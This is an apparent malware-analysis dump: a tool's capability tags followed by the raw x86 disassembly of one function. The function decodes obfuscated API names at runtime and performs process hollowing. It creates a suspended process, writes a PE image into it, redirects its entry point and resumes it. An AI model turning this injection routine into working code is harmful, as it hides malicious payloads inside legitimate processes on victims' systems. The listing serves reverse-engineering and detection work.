Function at 0xf01350
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
push ebx
push esi
push edi
push 0x44
lea eax, [ebp - 0x88]
xorps xmm0, xmm0
push 0
push eax
movups xmmword [ebp - 0x44], xmm0
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp + 0xc]
lea ecx, [ebp - 0x10]
movaps xmm0, xmmword [0xf03230]
add esp, 0xc
movups xmmword [ebp - 0x10], xmm0
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [ebp - 0x20], edi
call fcn.00f01ac0
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0xd7cbdcd2
mov esi, eax
mov dword [ebp - 0xc], 0x8b8ad5dc
mov dword [ebp - 8], 0xd5d5dd97
mov word [ebp - 4], 0xb900
call fcn.00f01a70
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x44]
push ecx
lea ecx, [ebp - 0x88]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push dword [ebp + 8]
call eax
test eax, eax
je 0xf01719
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x41475c63
mov dword [ebp - 0xc], 0x74595440
mov dword [ebp - 8], 0x565a5959
mov word [ebp - 4], 0x3500
call fcn.00f01a70
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x5b47505e
mov esi, eax
mov dword [ebp - 0xc], 0x7065950
mov dword [ebp - 8], 0x5959511b
mov word [ebp - 4], 0x3500
call fcn.00f01a70
push eax
call ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 4
push 0x1000
push 4
push 0
call eax
movaps xmm0, xmmword [0xf03240]
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x1c], eax
movups xmmword [ebp - 0x14], xmm0
mov dword [eax], 0x10007
mov word [ebp - 4], 0xcf00
call fcn.00f01930
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0xa1bdaaa4
mov esi, eax
mov dword [ebp - 0xc], 0xfdfca3aa
mov dword [ebp - 8], 0xa3a3abe1
mov word [ebp - 4], 0xcf00
call fcn.00f01a70
push eax
call ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x1c]
push dword [ebp - 0x40]
call eax
test eax, eax
je 0xf01719
movaps xmm0, xmmword [str.IvmkjssspZg]
lea ecx, [ebp - 0x10]
movups xmmword [ebp - 0x10], xmm0
call fcn.00f01ac0
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x716d7a74
mov esi, eax
mov dword [ebp - 0xc], 0x2d2c737a
mov dword [ebp - 8], 0x73737b31
mov word [ebp - 4], 0x1f00
call fcn.00f01a70
push eax
call ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x3000
push dword [edi + 0x50]
push dword [edi + 0x34]
push dword [ebp - 0x44]
call eax
movaps xmm0, xmmword [0xf03250]
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x18], eax
movups xmmword [ebp - 0x14], xmm0
mov dword [ebp - 4], 0xb100c8c3
call fcn.00f019d0
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0xdfc3d4da
mov esi, eax
mov dword [ebp - 0xc], 0x8382ddd4
mov dword [ebp - 8], 0xddddd59f
mov word [ebp - 4], 0xb100
call fcn.00f01a70
push eax
call ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push dword [edi + 0x54]
push dword [ebp + 0xc]
push dword [ebp - 0x18]
push dword [ebp - 0x44]
call eax
xor eax, eax
xor ebx, ebx
cmp ax, word [edi + 6]
jae 0xf015fc
mov dword [ebp - 0x10], 0x475b4c42
add edi, 0x10c
mov dword [ebp - 0xc], 0x1b1a454c
mov dword [ebp - 8], 0x45454d07
mov word [ebp - 4], 0x2900
nop dword [eax]
nop word [eax + eax]
movaps xmm0, xmmword [0xf031e0]
lea ecx, [ebp - 0x34]
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0x2900505b
call fcn.00f019d0
lea ecx, [ebp - 0x10]
mov esi, eax
call fcn.00f01a70
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [edi]
add ecx, dword [ebp + 0xc]
push 0
push dword [edi - 4]
push ecx
mov ecx, dword [edi - 8]
add ecx, dword [ebp - 0x18]
push ecx
push dword [ebp - 0x44]
call eax
mov eax, dword [ebp - 0x20]
lea edi, [edi + 0x28]
inc ebx
movzx eax, word [eax + 6]
cmp ebx, eax
jl 0xf015a0
mov edi, dword [ebp - 0x20]
movaps xmm0, xmmword [0xf03210]
lea ecx, [ebp - 0x34]
movups xmmword [ebp - 0x34], xmm0
mov dword [ebp - 0x24], 0x13006a61
call fcn.00f019d0
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x7d617678
mov esi, eax
mov dword [ebp - 0xc], 0x21207f76
mov dword [ebp - 8], 0x7f7f773d
mov word [ebp - 4], 0x1300
call fcn.00f01a70
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [ebp - 0x1c]
lea ecx, [ebp - 0x18]
push 0
push 4
push ecx
mov ecx, dword [esi + 0xa4]
add ecx, 8
push ecx
push dword [ebp - 0x44]
call eax
mov eax, dword [edi + 0x28]
lea ecx, [ebp - 0x14]
add eax, dword [ebp - 0x18]
movaps xmm0, xmmword [0xf03220]
mov dword [esi + 0xb0], eax
movups xmmword [ebp - 0x14], xmm0
mov word [ebp - 4], 0xe300
call fcn.00f01930
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x8d918688
mov esi, eax
mov dword [ebp - 0xc], 0xd1d08f86
mov dword [ebp - 8], 0x8f8f87cd
mov word [ebp - 4], 0xe300
call fcn.00f01a70
push eax
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
push eax
call edi
push dword [ebp - 0x1c]
push dword [ebp - 0x40]
call eax
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x7e786e59
mov dword [ebp - 0xc], 0x635f6e66
mov dword [ebp - 8], 0x6f6a6e79
mov word [ebp - 4], 0xb00
call fcn.00f01a70
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x65796e60
mov esi, eax
mov dword [ebp - 0xc], 0x3938676e
mov dword [ebp - 8], 0x67676f25
mov word [ebp - 4], 0xb00
call fcn.00f01a70
push eax
call ebx
push esi
push eax
call edi
push dword [ebp - 0x40]
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret